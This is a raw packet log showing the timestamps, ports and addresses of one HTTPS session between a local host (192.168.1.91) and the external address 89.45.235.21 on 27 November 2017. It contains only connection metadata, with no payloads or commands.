Nov 27, 2017 12:34:42.705599070 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.727658033 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.727690935 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.727894068 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:42.727935076 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.760035038 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.760057926 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.760071039 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.760185957 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:42.760209084 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.777170897 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.777206898 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.777214050 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.777542114 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:42.777582884 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.785062075 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.785087109 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.786947012 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:42.786983013 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.812390089 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.812421083 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.812623978 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:42.812659025 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.835882902 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.835918903 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.836205006 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:42.836244106 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.843089104 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.843112946 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.843715906 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:42.843746901 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.874191999 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.874214888 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.874455929 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:42.874497890 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.893585920 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.893770933 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:42.893825054 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.905394077 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.907839060 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:42.907903910 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.917985916 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.918018103 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.918332100 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:42.918382883 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.937050104 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.937069893 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.937362909 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:42.937412977 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.965270042 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.965291977 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.965477943 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:42.965513945 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.988596916 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.988631964 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.988879919 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:42.988903046 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.105374098 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.105402946 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.105415106 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.105540037 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:43.105577946 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.128427982 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.128448963 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.128571987 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:43.128604889 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.146493912 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.146518946 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.146713972 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:43.146768093 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.166543961 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.166563034 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.166738033 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:43.166788101 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.202380896 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.202694893 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:43.202718973 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.217642069 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.217660904 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.217757940 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:43.217787027 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.234170914 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.234186888 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.234294891 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:43.234316111 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.268675089 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.268692017 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.268801928 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:43.268846035 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.292999983 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.293015957 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.293098927 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:43.293126106 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.322999001 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.323244095 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:43.323267937 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.326185942 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.326507092 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:43.326529026 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.340467930 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.340485096 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.340617895 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:43.340672970 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.357301950 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.357316971 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.357850075 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:43.357876062 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.381884098 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.382127047 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:43.382150888 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.387000084 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.387267113 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:43.387291908 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.416943073 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.416965961 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.416971922 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.417248964 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:43.417277098 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.427273035 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.427303076 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.427578926 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:43.427609921 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.441978931 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.442264080 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:43.442323923 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.456286907 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.456321955 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.456657887 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:43.456705093 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.463371992 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.463391066 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.464049101 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:43.464096069 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.482259989 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.482291937 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.482448101 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:43.482479095 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.491497040 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.491527081 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.491791010 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:43.491826057 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.513533115 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.513561010 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.513727903 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:43.513767958 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.526916027 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.527081013 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:43.527141094 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.533804893 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.534022093 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:43.534090996 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.566660881 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.566752911 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.566767931 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.566777945 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.567374945 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:43.567409039 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.575539112 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.575562954 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.575795889 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:43.575858116 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.604517937 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.604553938 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.604748964 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:43.604826927 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.625473022 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.625523090 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.625719070 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:43.625813007 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.632508039 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.632553101 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.632802963 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:43.632877111 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.640492916 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.640518904 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.640882969 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:43.640913010 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.664411068 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.664429903 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.664585114 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:43.664623022 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.671947956 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.671962023 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.672110081 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:43.672157049 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.680478096 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.680649042 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:43.680665016 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.690224886 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.690243959 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.690363884 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:43.690382004 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.708848953 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.708894014 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.709112883 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:43.709135056 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.726197004 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.726222992 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.726358891 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:43.726377010 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.747716904 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.747740030 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.747853994 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:43.747873068 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.778925896 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.778947115 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.778955936 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.779283047 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:43.779309034 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.786047935 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.786058903 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.786310911 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:43.786328077 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.793044090 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.793057919 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.793131113 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:43.793147087 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.812769890 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.812799931 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.812958002 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:43.812988043 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.830300093 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.830583096 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:43.830626011 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.837389946 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.837419033 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.837577105 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:43.837606907 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.845721006 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.845752001 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.845947981 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:43.845983028 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.868665934 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.868701935 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.868930101 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:43.868966103 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.887188911 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.887631893 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:43.887674093 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.894160986 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.894188881 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.894329071 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:43.894361973 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.903075933 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.903101921 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.903285027 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:43.903318882 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.927572012 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.927656889 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.927922964 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:43.927998066 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.943825960 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.943856001 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.944083929 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:43.944117069 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.959786892 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.959821939 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.959830046 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.959994078 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:43.960021019 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.980829954 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.980875015 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.981095076 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:43.981158018 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.988356113 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.988548994 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:43.988594055 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.996023893 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.996067047 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:43.996254921 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:43.996299982 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.042969942 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.042998075 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.043144941 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.043173075 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.097141981 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.097172022 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.097265959 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.097285986 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.104372978 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.104393959 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.104484081 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.104501963 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.121716022 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.121746063 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.121970892 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.121995926 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.135385036 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.135416031 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.135668039 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.135701895 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.144344091 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.144376993 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.144642115 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.144664049 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.145488977 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.145586967 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.145611048 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.152673960 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.152702093 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.152801037 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.152846098 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.152863026 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.153239965 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.153264046 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.156214952 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.156650066 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.156694889 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.163216114 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.163247108 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.163784027 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.163813114 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.168467999 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.168498039 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.169033051 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.169061899 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.178759098 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.178786039 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.178797960 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.179822922 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.179862022 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.181615114 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.181644917 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.181961060 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.181983948 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.186992884 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.187027931 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.187040091 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.187762022 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.187798023 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.190105915 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.190541029 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.190572023 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.195220947 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.195249081 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.195256948 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.195671082 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.195727110 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.199732065 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.199768066 CET	443	49165	89.45.235.21	192.168.1.91
